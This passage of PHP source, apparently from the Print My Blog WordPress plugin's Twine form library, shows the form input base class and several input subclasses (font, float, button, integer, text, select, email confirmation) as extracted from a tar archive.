protected $html_help_class = 'description';
/**
* CSS to put in the style attribute on the help span
*
* @var string
*/
protected $html_help_style;
/**
* Stores whether or not this input's response is required.
* Because certain styling elements may also want to know that this
* input is required etc.
*
* @var boolean
*/
protected $required;
/**
* CSS class added to required inputs
*
* @var string
*/
protected $required_css_class = 'twine-required';
/**
* The raw data submitted for this, like in the $_POST super global.
* Generally unsafe for usage in client code
*
* @var mixed string or array
*/
protected $raw_value;
/**
* Value normalized according to the input's normalization strategy.
* The normalization strategy dictates whether this is a string, int, float,
* boolean, or array of any of those.
*
* @var mixed
*/
protected $normalized_value;
/**
* Normalized default value either initially set on the input, or provided by calling
* set_default().
* @var mixed
*/
protected $default;
/**
* Strategy used for displaying this field.
* Child classes must use _get_display_strategy to access it.
*
* @var DisplayBase
*/
private $display_strategy;
/**
* Gets all the validation strategies used on this field
*
* @var ValidationBase[]
*/
private $validation_strategies = array();
/**
* The normalization strategy for this field
*
* @var NormalizationBase
*/
private $normalization_strategy;
/**
* Whether this input has been disabled or not.
* If it's disabled while rendering, an extra hidden input is added that indicates it has been knowingly disabled.
* (Client-side code that wants to dynamically disable it must also add this hidden input).
* When the form is submitted, if the input is disabled in the PHP formsection, then input is ignored.
* If the input is missing from the $_REQUEST data but the hidden input indicating the input is disabled, then the
* input is again ignored.
*
* @var boolean
*/
protected $disabled = false;
/**
* @param array $input_args {
* @type string $html_name the html name for the input
* @type string $html_label_id the id attribute to give to the html label tag
* @type string $html_label_class the class attribute to give to the html label tag
* @type string $html_label_style the style attribute to give ot teh label tag
* @type string $html_label_text the text to put in the label tag
* @type string $html_label the full html label. If used,
* all other html_label_* args are invalid
* @type string $html_help_text text to put in help element
* @type string $html_help_style style attribute to give to teh help element
* @type string $html_help_class class attribute to give to the help element
* @type string $default default value NORMALIZED (eg, if providing the default
* for a Yes_No_Input, you should provide TRUE or FALSE, not '1' or '0')
* @type DisplayBase $display strategy
* @type NormalizationBase $normalization_strategy
* @type ValidationBase[] $validation_strategies
* @type boolean $ignore_input special argument which can be used to avoid adding any
* validation strategies, and sets the normalization strategy to
* the Null normalization. This is good when you want the input
* to be totally ignored server-side (like when using React.js
* form inputs)
* @type boolean $disabled whether to disabled this input or not
* }
*/
public function __construct($input_args = array())
{
$input_args = (array) apply_filters('FH_FormInputBase___construct__input_args', $input_args, $this);
// the following properties must be cast as arrays
if (isset($input_args['validation_strategies'])) {
foreach ((array)$input_args['validation_strategies'] as $validation_strategy) {
if ($validation_strategy instanceof ValidationBase && empty($input_args['ignore_input'])) {
$this->validation_strategies[ get_class($validation_strategy) ] = $validation_strategy;
}
}
unset($input_args['validation_strategies']);
}
if (isset($input_args['ignore_input'])) {
$this->validation_strategies = array();
}
// loop thru incoming options
foreach ($input_args as $key => $value) {
if (property_exists($this, $key)) {
$this->{$key} = $value;
}
}
// ensure that "required" is set correctly
$this->setRequired(
$this->required,
isset($input_args['required_validation_error_message'])
? $input_args['required_validation_error_message']
: null
);
$this->display_strategy->constructFinalize($this);
foreach ($this->validation_strategies as $validation_strategy) {
$validation_strategy->constructFinalize($this);
}
if (isset($input_args['ignore_input'])) {
$this->normalization_strategy = new NullNormalization();
}
if (! $this->normalization_strategy) {
$this->normalization_strategy = new TextNormalization();
}
$this->normalization_strategy->constructFinalize($this);
// at least we can use the normalization strategy to populate the default
if (isset($input_args['default'])) {
$this->setDefault($input_args['default']);
unset($input_args['default']);
}
if (isset($input_args['disabled']) && $input_args['disabled']) {
$this->disable(true);
unset($input_args['disabled']);
}
parent::__construct($input_args);
}
/**
* Sets the html_name to its default value, if none was specified in teh constructor.
* Calculation involves using the name and the parent's html_name
*
* @throws \Error
*/
protected function setDefaultHtmlNameIfEmpty()
{
if (! $this->html_name) {
$this->html_name = $this->name();
if ($this->parent_section && $this->parent_section instanceof FormSection) {
$this->html_name = $this->parent_section->htmlNamePrefix() . "[{$this->name()}]";
}
}
}
/**
* @param FormSection $parent_form_section
* @param string $name
*/
public function constructFinalize($parent_form_section, $name)
{
parent::constructFinalize($parent_form_section, $name);
if ($this->html_label === null && $this->html_label_text === null) {
$this->html_label_text = ucwords(str_replace('_', ' ', $name));
}
do_action('AH_FormInputBase___construct_finalize__end', $this, $parent_form_section, $name);
}
/**
* Returns the strategy for displaying this form input. If none is set, throws an exception.
*
* @return DisplayBase
* @throws ImproperUsageException
*/
protected function initializeDisplayStrategy()
{
$this->ensureConstructFinalizedCalled();
if (! $this->display_strategy || ! $this->display_strategy instanceof DisplayBase) {
throw new ImproperUsageException(
sprintf(
// Intended for developers, no translations unneecessary.
'Cannot get display strategy for form input with name %1$s and id %2$s, because it has not been set in the constructor',
$this->htmlName(),
$this->htmlId()
)
);
} else {
return $this->display_strategy;
}
}
/**
* Sets the display strategy.
*
* @param DisplayBase $strategy
*/
protected function setDisplayStrategy(DisplayBase $strategy)
{
$this->display_strategy = $strategy;
}
/**
* Sets the sanitization strategy
*
* @param NormalizationBase $strategy
*/
protected function setNormalizationStrategy(NormalizationBase $strategy)
{
$this->normalization_strategy = $strategy;
}
/**
* Gets the display strategy for this input
*
* @return DisplayBase
*/
public function getDisplayStrategy()
{
return $this->display_strategy;
}
/**
* Overwrites the display strategy
*
* @param DisplayBase $display_strategy
*/
public function overwriteDisplayStrategy($display_strategy)
{
$this->display_strategy = $display_strategy;
$this->display_strategy->constructFinalize($this);
}
/**
* Gets the normalization strategy set on this input
*
* @return NormalizationBase
*/
public function getNormalizationStrategy()
{
return $this->normalization_strategy;
}
/**
* Overwrites the normalization strategy
*
* @param NormalizationBase $normalization_strategy
*/
public function overwriteNormalizationStrategy($normalization_strategy)
{
$this->normalization_strategy = $normalization_strategy;
$this->normalization_strategy->constructFinalize($this);
}
/**
* Returns all teh validation strategies which apply to this field, numerically indexed
*
* @return ValidationBase[]
*/
public function getValidationStrategies()
{
return $this->validation_strategies;
}
/**
* Adds this strategy to the field so it will be used in both JS validation and server-side validation
*
* @param ValidationBase $validation_strategy
* @return void
*/
protected function addValidationStrategy(ValidationBase $validation_strategy)
{
$validation_strategy->constructFinalize($this);
$this->validation_strategies[] = $validation_strategy;
}
/**
* The classname of the validation strategy to remove
*
* @param string $validation_strategy_classname
*/
public function removeValidationStrategy($validation_strategy_classname)
{
foreach ($this->validation_strategies as $key => $validation_strategy) {
if (
$validation_strategy instanceof $validation_strategy_classname
|| is_subclass_of($validation_strategy, $validation_strategy_classname)
) {
unset($this->validation_strategies[ $key ]);
}
}
}
/**
* Returns true if input employs any of the validation strategy defined by the supplied array of classnames
*
* @param array $validation_strategy_classnames
* @return bool
*/
public function hasValidationStrategy($validation_strategy_classnames)
{
$validation_strategy_classnames = is_array($validation_strategy_classnames)
? $validation_strategy_classnames
: array($validation_strategy_classnames);
foreach ($this->validation_strategies as $key => $validation_strategy) {
if (in_array(get_class($validation_strategy), $validation_strategy_classnames, true)) {
return true;
}
}
return false;
}
/**
* Gets the HTML
*
* @return string
*/
public function getHtml()
{
return $this->parent_section->getHtmlForInput($this);
}
/**
* Gets the HTML for the input itself (no label or errors) according to the
* input's display strategy
* Makes sure the JS and CSS are enqueued for it
*
* @return string
* @throws \Error
*/
public function getHtmlForInput()
{
return $this->initializeDisplayStrategy()->display();
}
/**
* Gets the HTML for displaying the label for this form input
* according to the form section's layout strategy
*
* @return string
*/
public function getHtmlForLabel()
{
return $this->parent_section->getLayoutStrategy()->displayLabel($this);
}
/**
* Gets the HTML for displaying the errors section for this form input
* according to the form section's layout strategy
*
* @return string
*/
public function getHtmlForErrors()
{
return $this->parent_section->getLayoutStrategy()->displayErrors($this);
}
/**
* Gets the HTML for displaying the help text for this form input
* according to the form section's layout strategy
*
* @return string
*/
public function getHtmlForHelp()
{
return $this->parent_section->getLayoutStrategy()->displayHelpText($this);
}
/**
* Validates the input's sanitized value (assumes _sanitize() has already been called)
* and returns whether or not the form input's submitted value is value
*
* @return boolean
*/
protected function validate()
{
if ($this->isDisabled()) {
return true;
}
foreach ($this->validation_strategies as $validation_strategy) {
if ($validation_strategy instanceof ValidationBase) {
try {
$validation_strategy->validate($this->normalizedValue());
} catch (ValidationError $e) {
$this->addValidationError($e);
}
}
}
if ($this->getValidationErrors()) {
return false;
} else {
return true;
}
}
/**
* Performs basic sanitization on this value. But what sanitization can be performed anyways?
* This value MIGHT be allowed to have tags, so we can't really remove them.
*
* @param string $value
* @return null|string
*/
protected function sanitize($value)
{
return $value !== null ? stripslashes(html_entity_decode(trim($value))) : null;
}
/**
* Picks out the form value that relates to this form input,
* and stores it as the sanitized value on the form input, and sets the normalized value.
* Returns whether or not any validation errors occurred
*
* @param array $req_data like $_POST
* @return boolean whether or not there was an error
* @throws \Error
*/
protected function normalize($req_data)
{
// any existing validation errors don't apply so clear them
$this->validation_errors = array();
// if the input is disabled, ignore whatever input was sent in
if ($this->isDisabled()) {
$this->setRawValue(null);
$this->setNormalizedValue($this->getDefault());
return false;
}
try {
$raw_input = $this->findFormDataForThisSection($req_data);
// super simple sanitization for now
if (is_array($raw_input)) {
$raw_value = array();
foreach ($raw_input as $key => $value) {
$raw_value[ $key ] = $this->sanitize($value);
}
$this->setRawValue($raw_value);
} else {
$this->setRawValue($this->sanitize($raw_input));
}
// we want to mostly leave the input alone in case we need to re-display it to the user
$this->setNormalizedValue($this->normalization_strategy->normalize($this->rawValue()));
return false;
} catch (ValidationError $e) {
$this->addValidationError($e);
return true;
}
}
/**
* @return string
*/
public function htmlName()
{
$this->setDefaultHtmlNameIfEmpty();
return $this->html_name;
}
/**
* @return string
*/
public function htmlLabelId()
{
return ! empty($this->html_label_id) ? $this->html_label_id : $this->htmlId() . '-lbl';
}
/**
* @return string
*/
public function htmlLabelClass()
{
return $this->html_label_class;
}
/**
* @return string
*/
public function htmlLabelStyle()
{
return $this->html_label_style;
}
/**
* @return string
*/
public function htmlLabelText()
{
return $this->html_label_text;
}
/**
* @return string
*/
public function htmlHelpText()
{
return $this->html_help_text;
}
/**
* @return string
*/
public function htmlHelpClass()
{
return $this->html_help_class;
}
/**
* @return string
*/
public function htmlHelpStyle()
{
return $this->html_style;
}
/**
* Returns the raw, UNSAFE, input, almost exactly as the user submitted it.
* Please note that almost all client code should instead use the normalized_value;
* or possibly raw_value_in_form (which prepares the string for displaying in an HTML attribute on a tag,
* mostly by escaping quotes)
* Note, we do not store the exact original value sent in the user's request because
* it may have malicious content, and we MIGHT want to store the form input in a transient or something...
* in which case, we would have stored the malicious content to our database.
*
* @return string
*/
public function rawValue()
{
return $this->raw_value;
}
/**
* Returns a string safe to usage in form inputs when displaying, because
* it escapes all html entities
*
* @return string
*/
public function rawValueInForm()
{
return htmlentities($this->rawValue(), ENT_QUOTES, 'UTF-8');
}
/**
* Returns the value after it's been sanitized, and then converted into it's proper type
* in PHP. Eg, a string, an int, an array,
*
* @return mixed
*/
public function normalizedValue()
{
return $this->normalized_value;
}
/**
* Returns the normalized value is a presentable way. By default this is just
* the normalized value by itself, but it can be overridden for when that's not
* the best thing to display
*
* @return string
*/
public function prettyValue()
{
return $this->normalized_value;
}
/**
* When generating the JS for the jquery validation rules like<br>
* <code>$( "#myform" ).validate({
* rules: {
* password: "required",
* password_again: {
* equalTo: "#password"
* }
* }
* });</code>
* if this field had the name 'password_again', it should return
* <br><code>password_again: {
* equalTo: "#password"
* }</code>
*
* @return array
*/
public function getJqueryValdationRules()
{
$jquery_validation_js = array();
$jquery_validation_rules = array();
foreach ($this->getValidationStrategies() as $validation_strategy) {
$jquery_validation_rules = array_replace_recursive(
$jquery_validation_rules,
$validation_strategy->getJqueryValidationRuleArray()
);
}
if (! empty($jquery_validation_rules)) {
foreach ($this->getDisplayStrategy()->getHtmlInputIds(true) as $html_id_with_pound_sign) {
$jquery_validation_js[ $html_id_with_pound_sign ] = $jquery_validation_rules;
}
}
return $jquery_validation_js;
}
/**
* Sets the input's default value for use in displaying in the form. Note: value should be
* normalized (Eg, if providing a default of ra Yes_NO_Input you would provide TRUE or FALSE, not '1' or '0')
*
* @param mixed $value
* @return void
*/
public function setDefault($value)
{
$this->default = $value;
$this->setNormalizedValue($value);
$this->setRawValue($value);
}
/**
* Sets the normalized value on this input
*
* @param mixed $value
*/
protected function setNormalizedValue($value)
{
$this->normalized_value = $value;
}
/**
* Sets the raw value on this input (ie, exactly as the user submitted it)
*
* @param mixed $value
*/
protected function setRawValue($value)
{
$this->raw_value = $this->normalization_strategy->unnormalize($value);
}
/**
* Sets the HTML label text after it has already been defined
*
* @param string $label
* @return void
*/
public function setHtmlLabelText($label)
{
$this->html_label_text = $label;
}
/**
* Sets whether or not this field is required, and adjusts the validation strategy.
* If you want to use the ConditionallyRequiredValidation,
* please add it as a validation strategy using addValidationStrategy as normal
*
* @param boolean $required boolean
* @param string|null $required_text
*/
public function setRequired($required = true, $required_text = null)
{
$required = filter_var($required, FILTER_VALIDATE_BOOLEAN);
// whether $required is a string or a boolean, we want to add a required validation strategy
if ($required) {
$this->addValidationStrategy(new RequiredValidation($required_text));
} else {
$this->removeValidationStrategy('RequiredValidation');
}
$this->required = $required;
}
/**
* Returns whether or not this field is required
*
* @return boolean
*/
public function required()
{
return $this->required;
}
/**
* @param string $required_css_class
*/
public function setRequiredCssClass($required_css_class)
{
$this->required_css_class = $required_css_class;
}
/**
* @return string
*/
public function requiredCssClass()
{
return $this->required_css_class;
}
/**
* @param bool $add_required
* @return string
*/
public function htmlClass($add_required = false)
{
return $add_required && $this->required()
? $this->requiredCssClass() . ' ' . $this->html_class
: $this->html_class;
}
/**
* Sets the help text, in case
*
* @param string $text
*/
public function setHtmlHelpText($text)
{
$this->html_help_text = $text;
}
/**
* Using this section's name and its parents, finds the value of the form data that corresponds to it.
* For example, if this form section's HTML name is my_form[subform][form_input_1],
* then it's value should be in $_REQUEST at $_REQUEST['my_form']['subform']['form_input_1'].
* (If that doesn't exist, we also check for this subsection's name
* at the TOP LEVEL of the request data. Eg $_REQUEST['form_input_1'].)
* This function finds its value in the form.
*
* @param array $req_data
* @return mixed whatever the raw value of this form section is in the request data
* @throws \Error
*/
public function findFormDataForThisSection($req_data)
{
$name_parts = $this->getInputNameParts();
// now get the value for the input
$value = $this->findRequestForSectionUsingNameParts($name_parts, $req_data);
// check if this thing's name is at the TOP level of the request data
if ($value === null && isset($req_data[ $this->name() ])) {
$value = $req_data[ $this->name() ];
}
return $value;
}
/**
* If this input's name is something like "foo[bar][baz]"
* returns an array like `array('foo','bar',baz')`
* @return array
*/
protected function getInputNameParts()
{
// break up the html name by "[]"
if (strpos($this->htmlName(), '[') !== false) {
$before_any_brackets = substr($this->htmlName(), 0, strpos($this->htmlName(), '['));
} else {
$before_any_brackets = $this->htmlName();
}
// grab all of the segments
preg_match_all('~\[([^]]*)\]~', $this->htmlName(), $matches);
if (isset($matches[1]) && is_array($matches[1])) {
$name_parts = $matches[1];
array_unshift($name_parts, $before_any_brackets);
} else {
$name_parts = array($before_any_brackets);
}
return $name_parts;
}
/**
* @param array $html_name_parts
* @param array $req_data
* @return array | NULL
*/
public function findRequestForSectionUsingNameParts($html_name_parts, $req_data)
{
$first_part_to_consider = array_shift($html_name_parts);
if (isset($req_data[ $first_part_to_consider ])) {
if (empty($html_name_parts)) {
return $req_data[ $first_part_to_consider ];
} else {
return $this->findRequestForSectionUsingNameParts(
$html_name_parts,
$req_data[ $first_part_to_consider ]
);
}
} else {
return null;
}
}
/**
* Checks if this form input's data is in the request data
*
* @param array $req_data like $_POST
* @return boolean
* @throws \Error
*/
public function formDataPresentIn($req_data = null)
{
if ($req_data === null) {
// Nonce verification must be handled before calling this.
// phpcs:ignore WordPress.Security.NonceVerification.Missing
$req_data = $_POST;
}
$checked_value = $this->findFormDataForThisSection($req_data);
if ($checked_value !== null) {
return true;
} else {
return false;
}
}
/**
* Overrides parent to add js data from validation and display strategies
*
* @param array $form_other_js_data
* @return array
*/
public function getOtherJsData($form_other_js_data = array())
{
$form_other_js_data = $this->getOtherJsDataFromStrategies($form_other_js_data);
return $form_other_js_data;
}
/**
* Gets other JS data for localization from this input's strategies, like
* the validation strategies and the display strategy
*
* @param array $form_other_js_data
* @return array
*/
public function getOtherJsDataFromStrategies($form_other_js_data = array())
{
$form_other_js_data = $this->getDisplayStrategy()->getOtherJsData($form_other_js_data);
foreach ($this->getValidationStrategies() as $validation_strategy) {
$form_other_js_data = $validation_strategy->getOtherJsData($form_other_js_data);
}
return $form_other_js_data;
}
/**
* Override parent because we want to give our strategies an opportunity to enqueue some js and css
*
* @return void
*/
public function enqueueJs()
{
// ask our display strategy and validation strategies if they have js to enqueue
$this->enqueueJsFromStrategies();
parent::enqueueJs();
}
/**
* Tells strategies when its ok to enqueue their js and css
*
* @return void
*/
public function enqueueJsFromStrategies()
{
$this->getDisplayStrategy()->enqueueJs();
foreach ($this->getValidationStrategies() as $validation_strategy) {
$validation_strategy->enqueueJs();
}
}
/**
* Gets the default value set on the input (not the current value, which may have been
* changed because of a form submission). If no default was set, this us null.
* @return mixed
*/
public function getDefault()
{
return $this->default;
}
/**
* Makes this input disabled. That means it will have the HTML attribute 'disabled="disabled"',
* and server-side if any input was received it will be ignored
* @param bool $disable
*/
public function disable($disable = true)
{
$this->disabled = filter_var($disable, FILTER_VALIDATE_BOOLEAN);
if ($this->disabled) {
$this->addOtherHtmlAttribute('disabled', 'disabled');
$this->setNormalizedValue($this->getDefault());
} else {
$this->removeOtherHtmlAttribute('disabled');
}
}
/**
* Returns whether or not this input is currently disabled.
* @return bool
*/
public function isDisabled()
{
return $this->disabled;
}
}
Twine/forms/inputs/FontInput.php 0000644 00000004125 14666776752 0012775 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Google\Site_Kit\Core\Util\Input;
use Twine\forms\helpers\InputOption;
/**
* Class FontInput
* @package Twine\forms\inputs
*/
class FontInput extends SelectInput
{
/**
* FontInput constructor.
* @param array $args
*/
public function __construct($args)
{
if(isset($args['format']) && strtolower($args['format']) === 'epub'){
$options = [
'' => new InputOption(__('Default', 'print-my-blog')),
'roboto' => new InputOption(__('Roboto', 'print-my-blog')),
'Arial' => new InputOption(__('Arial', 'print-my-blog')),
'Baskerville' => new InputOption(__('Baskerville', 'print-my-blog')),
'bookerly' => new InputOption(__('Bookerly', 'print-my-blog')),
'georgia' => new InputOption(__('Georgia', 'print-my-blog')),
'helvetica' => new InputOption(__('Helvetica', 'print-my-blog')),
'lucida console' => new InputOption(__('Lucida Console', 'print-my-blog')),
'palatino linotype' => new InputOption(__('Palatino Linotype', 'print-my-blog')),
'verdana' => new InputOption(__('Verdana', 'print-my-blog')),
];
} else {
$options = [
'arial' => new InputOption(__('Arial', 'print-my-blog')),
'courier new' => new InputOption(__('Courier New', 'print-my-blog')),
'georgia' => new InputOption(__('Georgia', 'print-my-blog')),
'impact' => new InputOption(__('Impact', 'print-my-blog')),
'lucida console' => new InputOption(__('Lucida Console', 'print-my-blog')),
'palatino linotype' => new InputOption(__('Palatino Linotype', 'print-my-blog')),
'tahoma' => new InputOption(__('Tahoma', 'print-my-blog')),
'times new roman' => new InputOption(__('Times New Roman', 'print-my-blog')),
'verdana' => new InputOption(__('Verdana', 'print-my-blog')),
];
}
parent::__construct($options, $args);
}
}
Twine/forms/inputs/FloatInput.php 0000644 00000002514 14666776752 0013134 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\NumberInputDisplay;
use Twine\forms\strategies\normalization\FloatNormalization;
use Twine\forms\strategies\validation\FloatValidation;
/**
* Float_Input
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class FloatInput extends FormInputBase
{
/**
* @param array $input_settings
*/
public function __construct($input_settings = array())
{
$this->setDisplayStrategy(
new NumberInputDisplay(
isset($input_settings['min_value'])
? $input_settings['min_value']
: null,
isset($input_settings['max_value'])
? $input_settings['max_value']
: null,
isset($input_settings['step_value'])
? $input_settings['step_value']
: null
)
);
$this->setNormalizationStrategy(new FloatNormalization());
$this->addValidationStrategy(
new FloatValidation(
isset($input_settings['validation_error_message'])
? $input_settings['validation_error_message']
: null
)
);
parent::__construct($input_settings);
}
}
Twine/forms/inputs/ButtonInput.php 0000644 00000002706 14666776752 0013345 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\ButtonDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\PlaintextValidation;
/**
* Button_Input
* Similar to SubmitInput, but renders a button element, and its text being displayed
* can differ from the value, and it can contain HTML.
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
*/
class ButtonInput extends FormInputBase
{
/**
* @var string of HTML to put between the button tags
*/
protected $button_content;
/**
* @param array $options
*/
public function __construct($options = array())
{
if (empty($options['button_content'])) {
$options['button_content'] = esc_html__('Button', 'print-my-blog');
}
$this->setDisplayStrategy(new ButtonDisplay());
$this->setNormalizationStrategy(new TextNormalization());
$this->addValidationStrategy(new PlaintextValidation());
parent::__construct($options);
}
/**
* Sets the button content
* @see Button_Input::$_button_content
* @param string $new_content
*/
public function setButtonContent($new_content)
{
$this->button_content = $new_content;
}
/**
* Gets the button content
* @return string
*/
public function buttonContent()
{
return $this->button_content;
}
}
Twine/forms/inputs/IntegerInput.php 0000644 00000002471 14666776752 0013466 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\NumberInputDisplay;
use Twine\forms\strategies\normalization\IntNormalization;
use Twine\forms\strategies\validation\IntValidation;
/**
* Class Integer_Input
* Generates an HTML5 number input using integer normalization and validation strategies
*
* @package Event Espresso
* @author Brent Christensen
* @since 4.9.34
*/
class IntegerInput extends FormInputBase
{
/**
* @param array $input_settings
*/
public function __construct($input_settings = array())
{
$this->setDisplayStrategy(
new NumberInputDisplay(
isset($input_settings['min_value'])
? $input_settings['min_value']
: null,
isset($input_settings['max_value'])
? $input_settings['max_value']
: null
)
);
$this->setNormalizationStrategy(
new IntNormalization()
);
$this->addValidationStrategy(
new IntValidation(
isset($input_settings['validation_error_message'])
? $input_settings['validation_error_message']
: null
)
);
parent::__construct($input_settings);
}
}
Twine/forms/inputs/TextInput.php 0000644 00000002534 14666776752 0013015 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\TextInputDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\PlaintextValidation;
/**
* Year_Input
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
* This input has a default validation strategy of plaintext (which can be removed after construction)
*/
class TextInput extends FormInputBase
{
/**
* @param array $options
*/
public function __construct($options = array())
{
$this->setDisplayStrategy(new TextInputDisplay());
$this->setNormalizationStrategy(new TextNormalization());
parent::__construct($options);
// if the input hasn't specifically mentioned a more lenient validation strategy,
// apply plaintext validation strategy
if (
! $this->hasValidationStrategy(
array(
'FullHtmlValidation',
'SimpleHtmlValidation',
)
)
) {
// by default we use the plaintext validation. If you want something else,
// just remove it after the input is constructed :P using FormInputBase::remove_validation_strategy()
$this->addValidationStrategy(new PlaintextValidation());
}
}
}
Twine/forms/inputs/DatepickerInput.php 0000644 00000002171 14666776752 0014141 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\DatepickerDisplay;
use Twine\forms\strategies\display\TextInputDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\PlaintextValidation;
/**
* Datepicker_Input
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class DatepickerInput extends FormInputBase
{
/**
* @param array $input_settings
*/
public function __construct($input_settings = array())
{
$this->setDisplayStrategy(new DatepickerDisplay());
$this->setNormalizationStrategy(new TextNormalization());
// we could do better for validation, but at least verify its plaintext
$this->addValidationStrategy(
new PlaintextValidation(
isset($input_settings['validation_error_message'])
? $input_settings['validation_error_message']
: null
)
);
parent::__construct($input_settings);
$this->setHtmlClass($this->htmlClass() . ' twine-datepicker');
}
}
Twine/forms/inputs/HiddenInput.php 0000644 00000002042 14666776752 0013256 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\HiddenDisplay;
use Twine\forms\strategies\normalization\NormalizationBase;
use Twine\forms\strategies\normalization\TextNormalization;
/**
* HiddenInput
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class HiddenInput extends FormInputBase
{
/**
* @param array $input_settings
*/
public function __construct($input_settings = array())
{
$this->setDisplayStrategy(new HiddenDisplay());
if (
isset($input_settings['normalization_strategy'])
&& $input_settings['normalization_strategy'] instanceof NormalizationBase
) {
$this->setNormalizationStrategy($input_settings['normalization_strategy']);
} else {
$this->setNormalizationStrategy(new TextNormalization());
}
parent::__construct($input_settings);
}
/**
* @return string
*/
public function getHtmlForLabel()
{
return '';
}
}
Twine/forms/inputs/CheckboxMultiInput.php 0000644 00000002314 14666776752 0014626 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\helpers\InputOption;
use Twine\forms\strategies\display\CheckboxDisplay;
use Twine\forms\strategies\validation\EnumValidation;
use Twine\forms\strategies\validation\ManyValuedValidation;
/**
*
* Class Checkbox_Multi_Input
*
* Configures a set of checkbox inputs
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
*
*
*/
class CheckboxMultiInput extends FormInputWithOptionsBase
{
/**
* @param array $answer_options
* @param InputOption $input_settings
*/
public function __construct($answer_options, $input_settings = array())
{
$this->setDisplayStrategy(new CheckboxDisplay());
$this->addValidationStrategy(
new ManyValuedValidation(
array(
new EnumValidation(
isset($input_settings['validation_error_message'])
? $input_settings['validation_error_message']
: null
),
)
)
);
$this->multiple_selections = true;
parent::__construct($answer_options, $input_settings);
}
}
Twine/forms/inputs/SelectRevealInput.php 0000644 00000004470 14666776752 0014450 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\base\FormSectionBase;
use Twine\forms\helpers\InputOption;
/**
* Class Select_Reveal_Input
*
* Generates an HTML <select> form input, which, when selected, will reveal
* a sibling subsections whose names match the array keys of the $answer_options
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class SelectRevealInput extends SelectInput
{
/**
* Gets all the sibling sections controlled by this reveal select input
* @return FormSectionBase[] keys are their form section paths
*/
public function siblingSectionsControlled()
{
$sibling_sections = array();
foreach ($this->options() as $sibling_section_name => $sibling_section) {
// if it's an empty string just leave it alone
if (empty($sibling_section_name)) {
continue;
}
$sibling_section = $this->findSectionFromPath('../' . $sibling_section_name);
if (
$sibling_section instanceof FormSectionBase
&& ! empty($sibling_section_name)
) {
$sibling_sections[ $sibling_section_name ] = $sibling_section;
}
}
return $sibling_sections;
}
/**
* Adds an entry of 'select_reveal_inputs' to the js data, which is an array
* whose top-level keys are select reveal input html ids; values are arrays
* whose keys are select option values and values are the sections they reveal
* @param array $form_other_js_data
* @return array
*/
public function getOtherJsData($form_other_js_data = array())
{
$form_other_js_data = parent::getOtherJsData($form_other_js_data);
if (! isset($form_other_js_data['select_reveal_inputs'])) {
$form_other_js_data['select_reveal_inputs'] = array();
}
$sibling_input_to_html_id_map = array();
foreach ($this->siblingSectionsControlled() as $sibling_section_path => $sibling_section) {
$sibling_input_to_html_id_map[ $sibling_section_path ] = $sibling_section->htmlId();
}
$form_other_js_data['select_reveal_inputs'][ $this->htmlId() ] = $sibling_input_to_html_id_map;
return $form_other_js_data;
}
}
Twine/forms/inputs/SelectInput.php 0000644 00000001745 14666776752 0013313 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\helpers\InputOption;
use Twine\forms\strategies\display\SelectDisplay;
use Twine\forms\strategies\validation\EnumValidation;
/**
* Class SelectInput
*
* Generates an HTML <select> form input
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class SelectInput extends FormInputWithOptionsBase
{
/**
* @param InputOption[] $answer_options
* @param array $input_settings
*/
public function __construct($answer_options, $input_settings = array())
{
$this->setDisplayStrategy(new SelectDisplay());
$this->addValidationStrategy(
new EnumValidation(
isset($input_settings['validation_error_message'])
? $input_settings['validation_error_message']
: null
)
);
parent::__construct($answer_options, $input_settings);
}
}
Twine/forms/inputs/EmailConfirmInput.php 0000644 00000002623 14666776752 0014435 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\TextInputDisplay;
use Twine\forms\strategies\normalization\TextNormalization;
use Twine\forms\strategies\validation\EmailValidation;
use Twine\forms\strategies\validation\EqualToValidation;
/**
* Email_Confirm_Input
*
* @package Event Espresso
* @subpackage
* @since 4.10.5.p
* @author Rafael Goulart
*/
class EmailConfirmInput extends FormInputBase
{
/**
* @param array $input_settings
*/
public function __construct($input_settings = array())
{
$this->setDisplayStrategy(new TextInputDisplay('email'));
$this->setNormalizationStrategy(new TextNormalization());
$this->addValidationStrategy(
new EmailValidation(
isset($input_settings['validation_error_message'])
? $input_settings['validation_error_message']
: null
)
);
$this->addValidationStrategy(
new EqualToValidation(
isset($input_settings['validation_error_message'])
? $input_settings['validation_error_message']
: null,
'#' . str_replace('email_confirm', 'email', $input_settings['html_id'])
)
);
parent::__construct($input_settings);
$this->setHtmlClass($this->htmlClass() . ' email');
}
}
Twine/forms/inputs/RadioButtonInput.php 0000644 00000002034 14666776752 0014316 0 ustar 00 <?php
namespace Twine\forms\inputs;
use Twine\forms\strategies\display\RadioButtonDisplay;
use Twine\forms\strategies\validation\EnumValidation;
/**
* Class Radio_Button_Input
* configures a set of radio button inputs
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson, Brent Christensen
* @since 4.9.51
*/
class RadioButtonInput extends FormInputWithOptionsBase
{
/**
* @param array $answer_options
* @param array $input_settings
*/
public function __construct($answer_options, $input_settings = array())
{
$this->setDisplayStrategy(new RadioButtonDisplay());
$this->addValidationStrategy(
new EnumValidation(
isset($input_settings['validation_error_message'])
